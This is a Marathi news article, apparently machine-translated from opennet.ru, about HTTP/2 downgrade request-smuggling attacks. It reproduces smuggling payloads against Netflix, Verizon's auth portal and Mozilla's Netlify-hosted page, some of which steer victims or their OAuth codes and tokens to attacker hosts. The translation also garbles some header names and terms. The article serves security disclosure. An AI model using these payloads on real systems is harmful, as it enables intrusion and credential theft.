फ्रंट-एंड-बॅकएंड सिस्टमवर एक नवीन हल्ला जो तुम्हाला विनंत्यांना वेज करण्यास अनुमती देतो

वेब सिस्टीम ज्यामध्ये फ्रंट एंड HTTP/2 द्वारे कनेक्शन स्वीकारते आणि HTTP/1.1 द्वारे बॅकएंडवर प्रसारित करते त्यांना “HTTP विनंती स्मगलिंग” हल्ल्याचा एक नवीन प्रकार समोर आला आहे, जे विशेषतः डिझाइन केलेल्या क्लायंट विनंत्या पाठवून परवानगी देते. फ्रंटएंड आणि बॅकएंड दरम्यान समान प्रवाहात प्रक्रिया केलेल्या इतर वापरकर्त्यांच्या विनंतीच्या सामग्रीमध्ये वेज करा. हल्ल्याचा वापर कायदेशीर वेबसाइटसह सत्रामध्ये दुर्भावनापूर्ण JavaScript कोड घालण्यासाठी, प्रवेश प्रतिबंध प्रणालीला बायपास करण्यासाठी आणि प्रमाणीकरण पॅरामीटर्समध्ये अडथळा आणण्यासाठी केला जाऊ शकतो.

समस्या वेब प्रॉक्सी, लोड बॅलन्सर्स, वेब एक्सीलरेटर्स, सामग्री वितरण प्रणाली आणि इतर कॉन्फिगरेशनवर परिणाम करते ज्यामध्ये विनंत्या फ्रंट-एंड-टू-बॅकएंड पद्धतीने पुनर्निर्देशित केल्या जातात. अभ्यासाच्या लेखकाने Netflix, Verizon, Bitbucket, Netlify CDN आणि Atlassian च्या प्रणालींवर हल्ला करण्याची शक्यता दाखवून दिली आणि असुरक्षा ओळखण्यासाठी 56 हजार डॉलर्स बक्षीस कार्यक्रमात मिळाले. F5 नेटवर्क उत्पादनांमध्ये देखील समस्येची पुष्टी केली गेली आहे. समस्या Apache HTTP सर्व्हर (CVE-2021-33193) मधील mod_proxy वर अंशतः प्रभावित करते, आवृत्ती 2.4.49 मध्ये एक निराकरण अपेक्षित आहे (विकासकांना मेच्या सुरुवातीस समस्येबद्दल सूचित केले गेले होते आणि त्याचे निराकरण करण्यासाठी त्यांना 3 महिने देण्यात आले होते). nginx मध्ये, "सामग्री-लांबी" आणि "हस्तांतरण-एनकोडिंग" शीर्षलेख एकाच वेळी निर्दिष्ट करण्याची क्षमता शेवटच्या प्रकाशनात अवरोधित केली गेली (1.21.1). बर्प टूलकिटमध्ये अटॅक टूल्स आधीपासूनच समाविष्ट आहेत आणि टर्बो इंट्रूडर विस्ताराच्या रूपात उपलब्ध आहेत.

ट्रॅफिकमध्ये विनंत्या जोडण्याच्या नवीन पद्धतीच्या ऑपरेशनचे तत्त्व दोन वर्षांपूर्वी त्याच संशोधकाने ओळखलेल्या भेद्यतेसारखेच आहे, परंतु HTTP/1.1 वर विनंत्या स्वीकारणाऱ्या फ्रंटएंड्सपुरते मर्यादित आहे. आपण लक्षात ठेवूया की फ्रंटएंड-बॅकएंड स्कीममध्ये, क्लायंटच्या विनंत्या अतिरिक्त नोडद्वारे प्राप्त होतात - फ्रंटएंड, जे बॅकएंडसह दीर्घकाळ टिकणारे TCP कनेक्शन स्थापित करते, जे थेट विनंत्यांवर प्रक्रिया करते. या सामान्य कनेक्शनद्वारे, भिन्न वापरकर्त्यांकडील विनंत्या सामान्यतः प्रसारित केल्या जातात, जे HTTP प्रोटोकॉलद्वारे विभक्त केलेल्या एकामागून एक साखळीचे अनुसरण करतात.

क्लासिक "HTTP विनंती स्मगलिंग" हल्ला या वस्तुस्थितीवर आधारित होता की फ्रंटएंड आणि बॅकएंड HTTP शीर्षलेख "सामग्री-लांबी" (विनंतीत डेटाचा एकूण आकार निर्धारित करते) आणि "हस्तांतरण-एनकोडिंग: chunked" (परवानगी देते) च्या वापराचा अर्थ लावतात. भागांमध्ये हस्तांतरित करावयाचा डेटा) वेगळ्या पद्धतीने. . उदाहरणार्थ, जर फ्रंटएंड फक्त "सामग्री-लांबी" चे समर्थन करत असेल परंतु "हस्तांतरण-एनकोडिंग: चंक्ड" दुर्लक्ष करत असेल, तर आक्रमणकर्ता विनंती पाठवू शकतो ज्यामध्ये "सामग्री-लांबी" आणि "हस्तांतरण-एनकोडिंग: खंडित" शीर्षलेख आहेत, परंतु आकार आहे "सामग्री-लांबी" तुकडे केलेल्या साखळीच्या आकाराशी जुळत नाही. या प्रकरणात, फ्रंटएंड "सामग्री-लांबी" नुसार विनंतीवर प्रक्रिया करेल आणि पुनर्निर्देशित करेल आणि बॅकएंड "हस्तांतरण-एनकोडिंग: chunked" वर आधारित ब्लॉक पूर्ण होण्याची प्रतीक्षा करेल आणि आक्रमणकर्त्याच्या विनंतीची उर्वरित शेपटी करेल. पुढे प्रसारित केलेल्या दुसर्‍याच्या विनंतीच्या सुरूवातीस व्हा.

मजकूर प्रोटोकॉल HTTP/1.1 च्या विपरीत, जे लाइन स्तरावर पार्स केले जाते, HTTP/2 हा बायनरी प्रोटोकॉल आहे आणि पूर्व-निर्दिष्ट आकाराच्या डेटा ब्लॉक्समध्ये फेरफार करतो. तथापि, HTTP/2 हे स्यूडो-हेडर वापरतात जे नियमित HTTP शीर्षलेखांशी संबंधित असतात. HTTP/1.1 प्रोटोकॉलद्वारे बॅकएंडशी परस्परसंवादाच्या बाबतीत, फ्रंटएंड या स्यूडो-हेडरचे समान HTTP शीर्षलेख HTTP/1.1 मध्ये भाषांतरित करते. समस्या अशी आहे की बॅकएंड मूळ विनंतीच्या पॅरामीटर्सबद्दल माहिती न घेता फ्रंटएंडद्वारे सेट केलेल्या HTTP शीर्षलेखांवर आधारित प्रवाह पार्स करण्याबाबत निर्णय घेतो.

विशेषतः, "सामग्री-लांबी" आणि "हस्तांतरण-एनकोडिंग" ही मूल्ये स्यूडो-हेडरच्या स्वरूपात प्रसारित केली जाऊ शकतात, जरी ती HTTP/2 मध्ये वापरली जात नाहीत, कारण सर्व डेटाचा आकार निर्धारित केला जातो. वेगळ्या क्षेत्रात. तथापि, HTTP/2 विनंती HTTP/1.1 मध्ये रूपांतरित करण्याच्या प्रक्रियेदरम्यान, हे शीर्षलेख पुढे नेले जातात आणि बॅकएंडला गोंधळात टाकू शकतात. दोन मुख्य आक्रमण प्रकार आहेत: H2.TE आणि H2.CL, ज्यामध्ये बॅकएंड चुकीच्या हस्तांतरण-एनकोडिंग किंवा सामग्री-लांबीच्या मूल्याद्वारे दिशाभूल केला जातो जो फ्रंटएंडद्वारे प्राप्त केलेल्या विनंतीच्या मुख्य भागाच्या वास्तविक आकाराशी संबंधित नाही. HTTP/2 प्रोटोकॉल.

H2.CL हल्ल्याचे उदाहरण म्हणजे Netflix ला HTTP/2 विनंती पाठवताना सामग्री-लांबीच्या स्यूडो-हेडरमध्ये चुकीचा आकार निर्दिष्ट करणे. ही विनंती HTTP/1.1 द्वारे बॅकएंडमध्ये प्रवेश करताना समान HTTP शीर्षलेख सामग्री-लांबी जोडण्यास कारणीभूत ठरते, परंतु सामग्री-लांबीमधील आकार वास्तविकपेक्षा कमी निर्दिष्ट केल्यामुळे, टेलमधील डेटाचा भाग म्हणून प्रक्रिया केली जाते. पुढील विनंतीची सुरूवात.

उदाहरणार्थ, HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 होस्ट: 02.rs?x.netflix.com Foo: bar विनंती करा

बॅकएंडला विनंती पाठवली जाईल याचा परिणाम होईल: POST /n HTTP/1.1 होस्ट: www.netflix.com सामग्री-लांबी: 4 abcdGET /n HTTP/1.1 होस्ट: 02.rs?x.netflix.com Foo: bar

सामग्री-लांबीचे मूल्य 4 असल्याने, बॅकएंड विनंतीचा मुख्य भाग म्हणून फक्त "abcd" स्वीकारेल आणि उर्वरित "GET /n HTTP/1.1..." नंतरच्या विनंतीच्या सुरूवातीस प्रक्रिया केली जाईल. दुसऱ्या वापरकर्त्याशी संबंधित. त्यानुसार, प्रवाह डिसिंक्रोनाइझ होईल आणि पुढील विनंतीला प्रतिसाद म्हणून, डमी विनंतीवर प्रक्रिया केल्याचा परिणाम जारी केला जाईल. नेटफ्लिक्सच्या बाबतीत, डमी विनंतीमध्ये “होस्ट:” हेडरमध्ये तृतीय-पक्ष होस्ट निर्दिष्ट केल्यामुळे क्लायंटने “स्थान: https://02.rs?x.netflix.com/n” प्रतिसाद परत केला आणि नेटफ्लिक्स साइटच्या संदर्भात तुमचा JavaScript कोड चालवण्यासह, क्लायंटला अनियंत्रित सामग्री पाठवण्याची परवानगी दिली.

दुसरा हल्ला पर्याय (H2.TE) मध्ये "हस्तांतरण-एनकोडिंग: chunked" शीर्षलेख बदलणे समाविष्ट आहे. एचटीटीपी/2 मधील ट्रान्सफर-एन्कोडिंग स्यूडो-हेडरचा वापर स्पेसिफिकेशनद्वारे प्रतिबंधित आहे आणि त्यासह विनंत्या चुकीच्या मानल्या जाण्यासाठी विहित केल्या आहेत. असे असूनही, काही फ्रंटएंड अंमलबजावणी ही आवश्यकता विचारात घेत नाहीत आणि HTTP/2 मध्ये ट्रान्सफर-एनकोडिंग स्यूडो-हेडर वापरण्याची परवानगी देतात, जे समान HTTP हेडरमध्ये रूपांतरित होते. जर "हस्तांतरण-एनकोडिंग" शीर्षलेख असेल, तर बॅकएंड ते उच्च प्राधान्य म्हणून घेऊ शकते आणि "{size}\r\n{block" या फॉरमॅटमधील वेगवेगळ्या आकारांचे ब्लॉक वापरून "चंक्ड" मोडमध्ये डेटा तुकडा पार्स करू शकते. }\r\n{size} \r\n{block}\r\n0", एकूण आकारानुसार प्रारंभिक विभागणी असूनही.

व्हेरिझॉनच्या उदाहरणाद्वारे अशा अंतराची उपस्थिती दर्शविली गेली. समस्या प्रमाणीकरण पोर्टल आणि सामग्री व्यवस्थापन प्रणालीशी संबंधित आहे, जी Huffington Post आणि Engadget सारख्या साइटवर देखील वापरली जाते. उदाहरणार्थ, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com हस्तांतरण-एनकोडिंग द्वारे क्लायंट विनंती 0 GET /oops HTTP/1.1 होस्ट: psres.net सामग्री-लांबी: 10 x=

बॅकएंडला HTTP/1.1 विनंती पाठवण्यात परिणाम: POST /identity/XUI HTTP/1.1 होस्ट: id.b2b.oath.com सामग्री-लांबी: 66 हस्तांतरण-एनकोडिंग: chunked 0 GET /oops HTTP/1.1 होस्ट: psres. निव्वळ सामग्री- लांबी: 10x=

बॅकएंडने, "सामग्री-लांबी" शीर्षलेखाकडे दुर्लक्ष केले आणि "हस्तांतरण-एनकोडिंग: chunked" वर आधारित इन-स्ट्रीम स्प्लिटिंग केले. व्यवहारात, हल्ल्यामुळे वापरकर्त्याच्या विनंत्या त्यांच्या वेबसाइटवर पुनर्निर्देशित करणे शक्य झाले, ज्यामध्ये OAuth प्रमाणीकरणाशी संबंधित विनंत्या रोखणे, ज्याचे मापदंड संदर्भ शीर्षलेखात प्रदर्शित केले गेले होते, तसेच प्रमाणीकरण सत्राचे अनुकरण करणे आणि क्रेडेन्शियल्स पाठवण्यासाठी वापरकर्त्याच्या सिस्टमला ट्रिगर करणे. हल्लेखोराच्या यजमानाला. GET /b2blanding/show/oops HTTP/1.1 होस्ट: psres.net संदर्भकर्ता: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 होस्ट: psres.net अधिकृतता: वाहक eyJhcGwiOiJIUzI1Gi1sInkR6cCII6

एचटीटीपी/2 अंमलबजावणीवर हल्ला करण्यासाठी जे ट्रान्सफर-एन्कोडिंग स्यूडो-हेडर निर्दिष्ट करण्यास परवानगी देत ​​​​नाहीत, दुसरी पद्धत प्रस्तावित केली गेली आहे ज्यामध्ये “हस्तांतरण-एनकोडिंग” हेडरला नवीन लाइन वर्णाने विभक्त केलेल्या इतर छद्म-हेडरशी संलग्न करून बदलणे समाविष्ट आहे ( या प्रकरणात HTTP/1.1 मध्ये रूपांतरित केल्यावर दोन स्वतंत्र HTTP शीर्षलेख तयार करतात).

उदाहरणार्थ, Atlassian Jira आणि Netlify CDN (Firefox मध्ये Mozilla स्टार्ट पेज सर्व्ह करण्यासाठी वापरलेले) या समस्येमुळे प्रभावित झाले. विशेषतः, HTTP/2 विनंती :method POST :path / :authority start.mozilla.org foo b\r\n हस्तांतरण-एनकोडिंग: chunked 0\r\n \r\n GET / HTTP/1.1\r\n होस्ट : evil-netlify-domain\r\n सामग्री-लांबी: 5\r\n \r\nx=

परिणामी HTTP/1.1 POST/HTTP/1.1 विनंती बॅकएंडवर पाठवली गेली\r\n होस्ट: start.mozilla.org\r\n Foo: b\r\n हस्तांतरण-एनकोडिंग: chunked\r\n सामग्री-लांबी : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n होस्ट: evil-netlify-domain\r\n सामग्री-लांबी: 5\r\n \r \nx=

"हस्तांतरण-एनकोडिंग" शीर्षलेख बदलण्याचा दुसरा पर्याय म्हणजे ते दुसर्‍या स्यूडो-हेडरच्या नावाशी किंवा विनंती पद्धतीसह एका ओळीशी संलग्न करणे. उदाहरणार्थ, अटलासियन जिरामध्ये प्रवेश करताना, "chunked" मूल्यासह स्यूडो-हेडर नाव "foo: bar\r\ntransfer-encoding" मुळे HTTP शीर्षलेख "foo: bar" आणि "transfer-encoding: chunked" जोडले गेले. , आणि स्यूडो-हेडर ":पद्धत" मूल्य निर्दिष्ट करणे "GET / HTTP/1.1\r\nTransfer-encoding: chunked" चे भाषांतर "GET/HTTP/1.1\r\ntransfer-encoding: chunked" मध्ये केले गेले.

ज्या संशोधकाने समस्या ओळखली त्यांनी फ्रंटएंडवर हल्ला करण्यासाठी विनंती टनेलिंग तंत्र देखील प्रस्तावित केले, ज्यामध्ये प्रत्येक IP पत्ता बॅकएंडशी स्वतंत्र कनेक्शन स्थापित करतो आणि भिन्न वापरकर्त्यांकडील रहदारी मिसळली जात नाही. प्रस्तावित तंत्र इतर वापरकर्त्यांच्या विनंत्यांमध्ये हस्तक्षेप करण्यास परवानगी देत ​​​​नाही, परंतु इतर विनंत्यांच्या प्रक्रियेवर परिणाम करणारे सामायिक कॅशे विषबाधा करणे शक्य करते आणि सेवा माहिती फ्रंटएंड वरून बॅकएंडवर हस्तांतरित करण्यासाठी वापरल्या जाणार्‍या अंतर्गत HTTP शीर्षलेखांच्या प्रतिस्थापनास अनुमती देते ( उदाहरणार्थ, अशा शीर्षलेखांमध्ये फ्रंटएंड बाजूला प्रमाणीकरण करताना वर्तमान वापरकर्त्याची माहिती बॅकएंडवर प्रसारित करू शकते). व्यवहारात पद्धत लागू करण्याचे उदाहरण म्हणून, कॅशे विषबाधा वापरून, बिटबकेट सेवेतील पृष्ठांवर नियंत्रण मिळवणे शक्य झाले.

स्त्रोत: opennet.ru